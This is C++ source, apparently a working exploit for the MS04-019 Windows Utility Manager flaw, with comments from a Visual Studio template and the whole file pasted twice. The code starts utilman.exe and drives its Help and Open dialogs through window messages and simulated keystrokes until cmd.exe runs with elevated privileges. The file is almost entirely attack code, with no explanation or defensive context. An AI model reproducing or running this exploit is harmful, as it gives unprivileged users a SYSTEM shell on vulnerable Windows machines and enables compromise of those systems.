//
ms0419.cpp : 定义应用程序的入口点。Powered by barenx
//
#include " stdafx.h "
#include " ms0419.h "
#include " math.h "
// #define MAX_LOADSTRING 100
// 全局变量:
// HINSTANCE hInst; // 当前实例
// TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
// TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:
// ATOM MyRegisterClass(HINSTANCE hInstance);
// BOOL InitInstance(HINSTANCE, int);
// LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
// LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int set_lang( void );
struct ... {
int id;
char *utilman;
char *winhelp;
char *open;
} lang[] = ... {
...{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /**//* French */
...{ 0x09,"Utility manager","Windows Help","Open" }, /**//* English */
...{ 0x04,"辅助工具管理器","Windows 帮助","打开" } /**//* Chinese */
} ;
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
... {
HWND lHandle, lHandle2;
POINT point;
char cmd[]="%windir%/system32/cmd.ex?";
unsigned int i;
int lang_id,j;
//test time run this bagin
long needtime,needmin;
needtime=GetTickCount();
for(long tmp=0;tmp<=120000;tmp++)
...{
tmp/=1;
tmp*=1;
Sleep(0);
tmp++;
tmp/=1;
Sleep(0);
tmp--;
tmp*=1;
Sleep(0);
tmp=(long)(pow(tmp,1));
Sleep(0);
};
needtime=GetTickCount()-needtime;
needmin=(long)(needtime/3);
//test end
lang_id=set_lang();
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break;
if(i==sizeof(lang)/sizeof(lang[0])) ...{return -1;}
WinExec("utilman.exe /start",SW_HIDE);
for(j=0;j<13;j++)
...{
Sleep(needtime);
lHandle=FindWindow("#32770", lang[i].utilman);
if(lHandle!=0)break;
}
if (!lHandle) return 0;
PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
Sleep(needmin);
SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(needmin);
PostMessage(lHandle, WM_QUIT, 0, 0);
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle=FindWindow(NULL, lang[i].winhelp); //find help dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
break;
}
}
if (!lHandle) return 0;
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle = FindWindow("#32770",lang[i].open); //find open dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
Sleep(needmin);
break;
}
}
if (!lHandle) return 0;
Sleep(needtime+needtime);//+needmin
lHandle2 = GetDlgItem(lHandle, 0x47C);
if (!lHandle2) return 0;
//Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(needmin+needtime);//+needtime
lHandle2 = GetDlgItem(lHandle, 0x4A0);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(needmin);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
Sleep(needmin+5);
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(needmin+needmin);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
Sleep(needtime);
SendMessage (lHandle, WM_CLOSE, 0, 0); //find open dialog
PostMessage (lHandle, WM_QUIT, 0, 0); //find open dialog
PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 0, 0);
return 0;
// TODO: 在此放置代码。
//MSG msg;
//HACCEL hAccelTable;
/**///// 初始化全局字符串
//LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
//MyRegisterClass(hInstance);
/**///// 执行应用程序初始化:
//if (!InitInstance (hInstance, nCmdShow))
//{
// return FALSE;
//}
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);
/**///// 主消息循环:
//while (GetMessage(&msg, NULL, 0, 0))
//{
// if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
// {
// TranslateMessage(&msg);
// DispatchMessage(&msg);
// }
//}
//return (int) msg.wParam;
}
inline int set_lang( void )
... {
unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) ...{
//printf("warning: user language differs from system language ");
//printf("1. system : ");print_lang(lang_sys);
//printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
//id=getch();
if(id!=49&&id!=50) ...{
//printf("wrong choice '%c', leaving. ",id);
exit(0);
}
if(id==49) ...{
//printf("system language ");
return lang_sys;
}
else;
//printf("user language ");
}
return lang_usr;
}
//
#include " stdafx.h "
#include " ms0419.h "
#include " math.h "
// #define MAX_LOADSTRING 100
// 全局变量:
// HINSTANCE hInst; // 当前实例
// TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
// TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:
// ATOM MyRegisterClass(HINSTANCE hInstance);
// BOOL InitInstance(HINSTANCE, int);
// LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
// LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int set_lang( void );
struct ... {
int id;
char *utilman;
char *winhelp;
char *open;
} lang[] = ... {
...{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /**//* French */
...{ 0x09,"Utility manager","Windows Help","Open" }, /**//* English */
...{ 0x04,"辅助工具管理器","Windows 帮助","打开" } /**//* Chinese */
} ;
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
... {
HWND lHandle, lHandle2;
POINT point;
char cmd[]="%windir%/system32/cmd.ex?";
unsigned int i;
int lang_id,j;
//test time run this bagin
long needtime,needmin;
needtime=GetTickCount();
for(long tmp=0;tmp<=120000;tmp++)
...{
tmp/=1;
tmp*=1;
Sleep(0);
tmp++;
tmp/=1;
Sleep(0);
tmp--;
tmp*=1;
Sleep(0);
tmp=(long)(pow(tmp,1));
Sleep(0);
};
needtime=GetTickCount()-needtime;
needmin=(long)(needtime/3);
//test end
lang_id=set_lang();
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break;
if(i==sizeof(lang)/sizeof(lang[0])) ...{return -1;}
WinExec("utilman.exe /start",SW_HIDE);
for(j=0;j<13;j++)
...{
Sleep(needtime);
lHandle=FindWindow("#32770", lang[i].utilman);
if(lHandle!=0)break;
}
if (!lHandle) return 0;
PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
Sleep(needmin);
SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(needmin);
PostMessage(lHandle, WM_QUIT, 0, 0);
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle=FindWindow(NULL, lang[i].winhelp); //find help dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
break;
}
}
if (!lHandle) return 0;
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle = FindWindow("#32770",lang[i].open); //find open dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
Sleep(needmin);
break;
}
}
if (!lHandle) return 0;
Sleep(needtime+needtime);//+needmin
lHandle2 = GetDlgItem(lHandle, 0x47C);
if (!lHandle2) return 0;
//Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(needmin+needtime);//+needtime
lHandle2 = GetDlgItem(lHandle, 0x4A0);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(needmin);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
Sleep(needmin+5);
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(needmin+needmin);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
Sleep(needtime);
SendMessage (lHandle, WM_CLOSE, 0, 0); //find open dialog
PostMessage (lHandle, WM_QUIT, 0, 0); //find open dialog
PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 0, 0);
return 0;
// TODO: 在此放置代码。
//MSG msg;
//HACCEL hAccelTable;
/**///// 初始化全局字符串
//LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
//MyRegisterClass(hInstance);
/**///// 执行应用程序初始化:
//if (!InitInstance (hInstance, nCmdShow))
//{
// return FALSE;
//}
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);
/**///// 主消息循环:
//while (GetMessage(&msg, NULL, 0, 0))
//{
// if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
// {
// TranslateMessage(&msg);
// DispatchMessage(&msg);
// }
//}
//return (int) msg.wParam;
}
inline int set_lang( void )
... {
unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) ...{
//printf("warning: user language differs from system language ");
//printf("1. system : ");print_lang(lang_sys);
//printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
//id=getch();
if(id!=49&&id!=50) ...{
//printf("wrong choice '%c', leaving. ",id);
exit(0);
}
if(id==49) ...{
//printf("system language ");
return lang_sys;
}
else;
//printf("user language ");
}
return lang_usr;
}